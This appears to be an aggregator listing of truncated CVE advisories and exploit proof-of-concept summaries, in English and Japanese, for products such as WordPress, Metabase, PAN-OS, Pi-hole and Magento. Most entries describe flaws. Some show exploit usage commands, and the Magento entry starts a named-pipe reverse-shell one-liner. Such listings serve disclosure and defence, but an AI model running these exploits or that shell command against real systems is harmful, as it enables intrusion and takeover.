CVE-2026-63330 Warpgate: Missing Admin Authorization on Live Recording Stream WebSocket Allows Any Authenticated User to Eavesdrop on Terminal Sessions

Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.6, apigetrecordingstream in warpgate-admin/src/api/recordingsdetail.rs protects /@warpgate/admin/api/recordings/uuid/stream only with session authentication and omits requireadminpermission for...

CVE-2024-10354

ソースコード Petrol pump management software 無料ダウンロード | SourceCodester 説明 sourcecodester の Petrol pump management software v1.0 における SQL インジェクションの脆弱性。高リスクと評価される脆弱性が発見され、admin\print.php ファイルの一部の不明な機能に影響を及ぼします。パラメータ id を使用して悪意のある SQL 文を構築し、機密情報を取得することで、被害を引き起こします 脆弱性の分析 admin\print.php ここでは、ユーザー入力...

CVE-2026-61745

InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, the POST /api/machine/pk/restart/ endpoint in src/backend/InvenTree/machine/api.py uses IsAuthenticatedOrReadScope without requiring the ADMIN role used by other machine management operations. Any authenticated user who lack...

CVE-2026-94411 jshERP 3.6 Privilege Escalation via updateOneValueByKeyIdAndType

jshERP 3.6 contains a privilege escalation vulnerability in the updateOneValueByKeyIdAndType endpoint that allows authenticated users to grant themselves arbitrary roles. Attackers can send a POST request with type=UserRole, their own user ID, and a role ID list to escalate from low-privilege...

CVE-2026-51564

CVE-2026-51564 CVE-2026-51564 のセキュリティアドバイザリ 説明 Milk admin =0.9.8 の redirect パラメータに存在する問題により、リモートの攻撃者が細工したリクエストを介してユーザーを任意の外部 URL にリダイレクトさせることが可能です。影響を受けるコンポーネント: App/Route.php、publichtml/index.php 緩和策 本公開時点では、この脆弱性は5か月前に報告されているにもかかわらず、開発者から公式のパッチは提供されていません。更新版がリリースされるまで、管理者は可能な限り影響を受ける redirect...

WordPresShell

WordPresShell CVE-2026-63030 および CVE-2026-60137 WordPress コア に対する事前認証 RCE PoC。 REST /batch/v1 ルート混乱 → WPQuery authornotin SQLi → 未認証管理者作成 → Webシェル。単一ファイル、Python stdlib のみ。 脆弱性発見: Adam Kues Searchlight Cyber。影響を受けるバージョン: 6.9.0–6.9.4, 7.0.0–7.0.1。修正済み: 6.9.5 / 7.0.2。 使用法 root@kitploit: python3...

CVE-2026-63030

CVE-2026-63030 WordPress REST API の batch ルート混乱 + SQL インジェクション により、未認証での管理者作成 → リモートコード実行 を引き起こす完全な攻撃チェーン PoC。 認可されたセキュリティテスト、脆弱性の再現、研究目的にのみ使用してください。未認可のターゲットへの使用は禁止です。 脆弱性の概要...

CVE-2026-29000-PoC-Exploit

🚀 CVE-2026-29000 - pac4j-jwt 認証バイパスエクスプロイト CVE-2026-29000 - JWT alg:none + JWE暗号化によるワンクリック管理者フォージ 📌 概要 このエクスプロイトは、pac4j-jwt ライブラリの重大なCVSS 10.0脆弱性 CVE-2026-29000 を利用します。サーバーの公開JWKSキーを抽出し、alg: none で暗号化されたJWEトークンを偽造することで、完全な認証バイパスを達成し、ワンクリックで完全な管理者権限を獲得します。 🔥 主な機能 ✅ 認証不要 - 事前認証エクスプロイト、有効な認証情報不要 ✅...

CVE-2024-0012

CVE-2024-0012 CVE-2024-0012 は、Palo Alto Networks PAN-OS ソフトウェアにおける認証バイパスの脆弱性であり、管理用 Web インターフェースにネットワークアクセス可能な未認証の攻撃者が PAN-OS 管理者権限を取得し、管理操作の実行、設定の改ざん、または他の特権昇格の脆弱性を悪用することを可能にします。 スクリーンショット ❗ 免責事項 --- このプロジェクトは、主にスタンドアロンの CLI ツールとして使用するために構築されています。このエクスプロイトをサービスとして実行すると、セキュリティリスクが生じる可能性があります。...

CVE-2026-76564

PhocaCart の管理注文ビューにおける User-Agent 経由の格納型 XSS PhocaCart ≤ 6.1.7 — 未認証の攻撃者がチェックアウト経由で XSS ペイロードを保存。管理者ブラウザコンテキストで実行 概要 PhocaCart 6.1.7（Joomla 用）は、storeuseragent 設定オプションが有効な場合、チェックアウトリクエストの生の HTTP User-Agent ヘッダーを注文データベーステーブルに保存します。保存された値は、Adminview.php の itemText を介して管理者の注文編集ビューに HTML...

AZL-103401 CVE-2026-84990 affecting package ntopng 5.2.1-6

ntopng is a web-based network traffic monitoring application. Prior to 6.7.260718, scripts/lua/rest/v2/get/system/configurations/listavailablebackups.lua and scripts/lua/rest/v2/get/system/configurations/downloadbackup.lua allow any authenticated non-admin user to list and download...

UBUNTU-CVE-2026-84990

ntopng is a web-based network traffic monitoring application. Prior to 6.7.260718, scripts/lua/rest/v2/get/system/configurations/listavailablebackups.lua and scripts/lua/rest/v2/get/system/configurations/downloadbackup.lua allow any authenticated non-admin user to list and download...

CVE-2020-8816

CVE-2020-8816 CVE-2020-8816を悪用するPythonスクリプトです。Pi-holeのリモートコード実行の脆弱性を利用します。 このスクリプトはFrançois Renaud-Philippon氏が発見した手法を用いて、Webインターフェースがバージョン4.3.3未満のPi-hole上でリモートコード実行を実現します。このエクスプロイトには、www-dataユーザーのパスが/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binである必要があります。 root@kitploit:...

CVE-2019-9193byVulHub

CVE-2019-9193byVulHub PostgreSQL 管理権限による任意コマンド実行 CVE-2019-9193 説明 PostgreSQL はオープンソースのリレーショナルデータベース管理システムです。バージョン 9.3 から 11 には、管理者または COPY TO/FROM PROGRAM 権限を持つユーザーがシステム上で任意のコマンドを実行できる脆弱性が存在します。 参照: GitHub - Vulhub - PostgreSQL CVE-2019-9193 Greenwolf Security - PostgreSQL 9.3 以降における認証済み任意コマンド実行...

dir-3040_dos

dir-3040 サービス拒否 Dir-3060 も、同じファームウェアから多くのコンポーネントを共有しているため、影響を受ける可能性があります。 最新ファームウェア 1.20b03a ホットフィックスでテスト済み FTP サーバーのユーザーアクセスページはデフォルトで、書き込み権限を持つ任意のユーザーが USB ドライブのみに制限する代わりに、RAM に直接書き込めるように構成されています。 この問題に対する最新ファームウェアでは、範囲外やバッファオーバーフローのチェックはありません。 利用可能なメモリを書き込み（埋める）すると、システムがクラッシュして再起動します。...

CVE-2026-61343-poc-librebooking-rce

CVE-2026-61343-poc-librebooking-rce Librebooking 管理者 RCE PoC CVE-2026-61343...

CVE-2026-72898

Metabase SQLインジェクションRCE Metabaseの/api/session/resetpasswordエンドポイントにおける未認証SQLインジェクション。管理者アカウントを作成し、データベースの認証情報を抽出します。 影響を受けるバージョン : v58.0 - v63.3 | 修正済み : v58.24+、v59.21+、v60.17+、v61.11+、v62.9+、v63.5+ クイックスタート root@kitploit: pip install flask requests python3 CVE-2026-72898.py http://localhost:500...

CVE-2023-32315

CVE-2023-32315 Openfireの管理コンソール（Admin Console）はWebベースのアプリケーションであり、セットアップ環境を介したパストラバーサル攻撃に対して脆弱であることが判明しました。 これにより、認証されていないユーザーが、既に設定済みのOpenfire環境において認証されていないOpenfireセットアップ環境を利用して、管理ユーザー向けに予約されたOpenfire Admin Consoleの制限付きページにアクセスできるようになり、RCEにつながる可能性があります。 スクリーンショット 必要条件 Python3.7+ 対応OS Linuxer...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 脆弱性の詳細 HackTheBox - SwagShop で確認された脆弱性 ステージ1 = exploit.py Magento CMS ダッシュボードへの管理者認証情報を取得する ステージ2 = postauth.py exploit.py から取得した認証情報を postauth.py に追加して実行: root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat...

CVE-2026-82412

ntopng is a web-based network traffic monitoring application. Prior to 6.7.260717, the vulnerability-scan endpoints scripts/lua/rest/v2/add/host/toscan.lua and scripts/lua/rest/v2/exec/host/schedulevulnerabilityscan.lua accept the scanports parameter without an administrator gate and pass it...